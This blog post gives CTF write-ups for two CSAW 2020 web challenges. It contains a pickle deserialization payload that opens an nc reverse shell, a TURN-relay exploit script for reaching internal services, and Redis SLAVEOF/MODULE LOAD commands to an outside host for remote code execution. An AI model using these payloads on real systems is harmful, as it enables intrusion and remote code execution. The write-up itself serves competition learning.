CSAW 2020 Quals Writeups

Wed Sep 23 2020


CSAW Quals 2020

CSAW Quals 2020 was one of the CTFs I was looking forward to the most this year. Unfortunately, the CTF ended up being a total mess, with infrastructure issues, and broken challenges.

However, this CTF was the first to introduce some new challenge categories: steg rev and steg web! Honestly, I don't know whose idea it was to make a CTF of only misc challenges, but I hope that this year was a fluke due to COVID.

I played this CTF with a new team, Crusaders of Rust, a merger between PentaHex and Albytross. We ended up qualifying for the finals, as we placed 9th in the undergraduate US-Canada division, which was well in the 15 spots allocated! We placed 24th overall, but we were very close to solving Blox 2 (network and platform issues).

Now, onto the writeups!

Contents

Web

As the resident web guy on our team, I was pretty happy to FC all of the web challenges.

Flask Caching

Flask Caching was a Python/Flask web challenge where you could upload small notes with custom names. However, you couldn't view them, so they were just uploaded.

The source was provided:

#!/usr/bin/env python3 from flask import Flask from flask import request, redirect from flask_caching import Cache from redis import Redis import jinja2 import os app = Flask(__name__) app.config['CACHE_REDIS_HOST'] = 'localhost' app.config['DEBUG'] = False cache = Cache(app, config={'CACHE_TYPE': 'redis'}) redis = Redis('localhost') jinja_env = jinja2.Environment(autoescape=['html', 'xml']) @app.route('/', methods=['GET', 'POST']) def notes_post(): if request.method == 'GET': return ''' <h4>Post a note</h4> <form method=POST enctype=multipart/form-data> <input name=title placeholder=title> <input type=file name=content placeholder=content> <input type=submit> </form> ''' title = request.form.get('title', default=None) content = request.files.get('content', default=None) if title is None or content is None: return 'Missing fields', 400 content = content.stream.read() if len(title) > 100 or len(content) > 256: return 'Too long', 400 redis.setex(name=title, value=content, time=3) # Note will only live for max 30 seconds return 'Thanks!' # This caching stuff is cool! Lets make a bunch of cached functions. @cache.cached(timeout=3) def _test0(): return 'test' @app.route('/test0') def test0(): _test0() return 'test' # all the way to test30()

The source shows that the notes are stored in the Redis database, and there are 31 other urls, from /test0 to /test30 that are cached for 3 seconds. It looks like the urls are also cached in the Redis database.

I found the source for the flask-caching library, and doing some more digging, I found exactly the Redis implementation for the caching.

Looking at the source, I saw that if the object content starts with a "!", flask-caching will unpickle the content when loading it. Python's pickling library is a famous vector for insecure deserialization, so if we can get it to unpickle our custom payload, we can easily get RCE.

import pickle import os class RCE: def __reduce__(self): cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | ' '/bin/sh -i 2>&1 | nc <ip> <port> /tmp/f') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) open("rce.txt", "wb").write(b"!" + pickled)

With the following script, we create a text file rce.txt that, when unpickled by the caching library, will launch a reverse shell. Now, we need to figure out the key name that the caching library uses.

I installed the app on my server and used redis-commander to look at the Redis keys. After opening up a cached URL, I found a key named flask_cache_view//test25.

Uploading rce.txt under that key name and going to /test25 within 3 seconds spawned a reverse shell! From there, all I had to do was cat the flag.

flag{f1@sK_10rD}

Web Real Time Chat

This challenge was worth 450 points, tied with another chall for the highest point-value in the whole CTF.

The website was a peer-to-peer chat service where two people who connected to the same URL could chat and message with each other. However, I thought the challenge was broken for the longest time until I figure out it only worked for Firefox for me.

The source was provided, but there was nothing that seemed out of the ordinary or seemed like a vulnerability that could be exploited. Looking at the technologies further, I found that WebRTC was used which connected to a TURN server that the organizers hosted.

I'd never looked into WebRTC / TURN / STUN before, so after a lot of research, I realized that I had no idea how to solve the challenge, nor what TURN or STUN even were. However, after doing some more recon, I came across this article, called "How we abused Slack's TURN servers to gain access to internal services".

The article described abusing a TURN server to interact with internal services not listening on external interfaces, almost like an SSRF but without the HTTP headers. The author reported this to Slack's bug bounty, and they fixed and patched the bug. After finding this article, the path was clear. Implement this vulnerability to try and talk with internal services, and somehow leverage those to gain RCE.

At this point, it was at 11 PM. I thought it would be easy, just find the PoC on the bug report, fiddle with it a bit, then ez exploit! But, I realized that the author didnt provide a proof of concept?????????????

So, I went to looking for TURN and STUN implementations and played around with them, but was unable to get anything working.

There was only around 12 hours left to the end of the CTF, and we needed a couple more hundred points to be at a safe spot. At this point, me and my other web partner, Drakon, sat down and worked on this script for the next 6 hours.

The idea behind the exploit is that when connecting to the TURN server, you send a special packet, XOR-PEER-ADDRESS, which (on an insecure system), proxies the connection to the internal service. However, to get this to work, we needed to build a working TURN client.

Here was our implementation of the vulnerability, made by scouring the RFCs and documentation for hours, and constant trial and error.

import socket import secrets TURN_IP = '216.165.2.41' TURN_PORT = 3478 BUFFER_SIZE = 1024 def constructHeader(message, length, transactionID): # i want to die messageTypeList = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # who the fuck designed this specification if message[0] == "allocation": messageTypeList[14] = 1 messageTypeList[15] = 1 elif message[0] == "connect": messageTypeList[12] = 1 messageTypeList[14] = 1 elif message[0] == "connectionbind": messageTypeList[12] = 1 messageTypeList[14] = 1 messageTypeList[15] = 1 if message[1] == "request": # control bits are in the middle of fucking nowhere pass messageType = ''.join([ str(i) for i in messageTypeList]) # 14 bits because why not (two 00 in beginning for padding) messageLength = bin(length)[2:].zfill(16) # 16 bits, size of the message in bytes (attributes are padded to multiple of 4 bytes, so the last 2 bits better be zeor you hoe) magicCookie = "2112A442" # what the fuck is the point of this packet = binToHex(messageType) + binToHex(messageLength) + magicCookie + hex(transactionID)[2:] # mish mash my damn functions return packet, transactionID def constructAttribute(attribute, value): if attribute == "REQUESTED-TRANSPORT": t = "0019" l = "0004" elif attribute == "XOR-PEER-ADDRESS": t = "0012" l = hex(len(value)//2)[2:].zfill(4) elif attribute == "CONNECTION-ID": t = "002a" l = "0004" v = value return t + l + v def xorIP(ip, port): xip = hex(ipToDec(ip) ^ 0x2112A442)[2:] xport = hex(port ^ 0x2112)[2:] return xip, xport def decodeHeader(header): messageType = bin(int(header[:4], 16))[2:].zfill(16) messageLength = header[4:8] magicCookie = header[8:16] if magicCookie != "2112a442": print("Your cookie is garbage.") # cookie was incorrect transactionID = header[16:] typeClass = messageType[7] + messageType[11] if typeClass == "00": typeClass = "request" elif typeClass == "01": typeClass = "indication" elif typeClass == "10": typeClass = "success response" elif typeClass == "11": typeClass = "error response" else: typeClass = "CRITICAL ERROR" # idk how this even happens method = hex(int(messageType[:7] + messageType[8:11] + messageType[11:], 2)) return (messageLength, int(transactionID, 16), typeClass, method) def decodeMessage(message): i = 0 returnArr = [] while i < len(message): t = message[i:i+4] l = int(message[i+4:i+8], 16) * 2 v = message[i+8:i+l+8] i += l + 8 if t == "0016": t = "XOR-RELAYED-ADDRESS" v = parseIP(v) elif t == "0020": t = "XOR-MAPPED-ADDRESS" v = parseIP(v) elif t == "0012": t = "XOR-PEER-ADDRESS" v = parseIP(v) elif t == "000d": t = "LIFETIME" v = int(v, 16) # in seconds elif t == "8022": t = "SOFTWARE" v = bytearray.fromhex(v).decode() elif t == "002a": t = "CONNECTION-ID" v = int(v, 16) elif t == "0009": t = "ERROR-CODE" errorClass = str(int(v[:6])) errorNumber = v[6:8] error = bytearray.fromhex(v[8:]).decode() v = (errorClass + errorNumber + ": " + error) returnArr.append((t, l, v)) return returnArr def binToHex(fuck): # fuck packets fuckList = [ hex(int(fuck[4*i:4*(i+1)], 2))[2:] for i in range(0, len(fuck)//4) ] return ''.join(fuckList) def hexToIP(why): octets = [ str(int(why[2*i:2*(i+1)], 16)) for i in range(0, 4) ] return '.'.join(octets) def ipToDec(no): octets = no.split(".") return int(''.join([ hex(int(octet))[2:].zfill(2) for octet in octets ]), 16) def parseIP(v): family = v[2:4] # parse the stuff for QoL if family == "01": family = "IPv4" else: family = "IPv6" port = str(int(v[4:8], 16) ^ 0x2112) ip = hexToIP(hex(int(v[8:], 16) ^ 0x2112A442)[2:]) return (family, ip + ":" + port) transactionID = secrets.randbits(96) # it's a fucking uid why does it need to be cryptographically secure # initial allocation request HEADER = constructHeader(("allocation", "request"), 8, transactionID) print("Transaction ID is " + str(HEADER[1])) # log the id in case packet = HEADER[0] + constructAttribute("REQUESTED-TRANSPORT", "06000000") MESSAGE = bytearray.fromhex(packet) #print(MESSAGE) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TURN_IP, TURN_PORT)) s.send(MESSAGE) data = s.recv(BUFFER_SIZE) hexData = bytearray(data).hex() #print(hexData) print(decodeHeader(hexData[:40])) print(decodeMessage(hexData[40:])) data = xorIP("0.0.0.0", INTERNAL_PORT) HEADER = constructHeader(("connect", "request"), len("0001" + data[1] + data[0])//2 + 4, transactionID) packet = HEADER[0] + constructAttribute("XOR-PEER-ADDRESS", "0001" + data[1] + data[0]) MESSAGE = bytearray.fromhex(packet) #print(MESSAGE) s.send(MESSAGE) data = s.recv(BUFFER_SIZE) hexData = bytearray(data).hex() #print(hexData) print(decodeHeader(hexData[:40])) print(decodeMessage(hexData[40:])) connectionID = decodeMessage(hexData[40:])[0][2] print(connectionID) print("establishing new connection...\n") # ----------------------------------------------- s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((TURN_IP, TURN_PORT)) HEADER = constructHeader(("connectionbind", "request"), 8, transactionID) packet = HEADER[0] + constructAttribute("CONNECTION-ID", hex(connectionID)[2:].zfill(8)) MESSAGE = bytearray.fromhex(packet) #print(MESSAGE) s2.send(MESSAGE) data = s2.recv(BUFFER_SIZE) hexData = bytearray(data).hex() #print(hexData) #print(decodeHeader(hexData[:40])) #print(decodeMessage(hexData[40:]))

(note, this script is still very buggy and there was stuff we fixed after the CTF. but this was what we used at the time.)

Now, with this script, we could change the port on the line data = xorIP("0.0.0.0", INTERNAL_PORT) to connect to whatever internal service we wanted! (side note, around 4 AM we tried 127.0.0.1 for localhost, which gave us 403 Forbidden Address errors. i almost cried at this point, but i luckily tried 0.0.0.0, and it worked!)

After trying some of the common ports, we located a Redis database on port 6379. Our plan was now to connect to the internal Redis database, and somehow exploit it to gain RCE.

We found this exploit to gain RCE on a Redis database. The idea behind it was to set up a Redis database on your own computer, load a module which allowed the usage of shell commands, and then synchronize the local and target Redis databases using a MASTER/SLAVE system.

However, at ~8 hours working, I couldn't get it working, so I went to bed. When I woke up, me and EhhThing worked on it more, and eventually got it to work!

The following script was appended to the bottom of the previous solve script, with the INTERNAL_PORT set to 6379:

s2.send(b'CONFIG SET dir /tmp/\r\n') print(s2.recv(4096).decode()) s2.send(b'CONFIG SET dbfilename dadadadad.so\r\n') print(s2.recv(4096).decode()) s2.send(b'SLAVEOF 3.96.190.161 1111\r\n') print(s2.recv(4096).decode()) time.sleep(5) s2.send(b'MODULE LOAD /tmp/dadadadad.so\r\n') print(s2.recv(4096).decode()) s2.send(b"SLAVEOF NO ONE\r\n") print(s2.recv(4096).decode()) s2.send(b"system.exec ls\r\n") print(s2.recv(4096).decode()) s2.send(b"system.exec cat /flag.txt\r\n") print(s2.recv(4096).decode())

And, after more than 10 hours of work, we got the flag!

flag{ar3nt_u_STUNned_any_t3ch_w0rks_@_all?}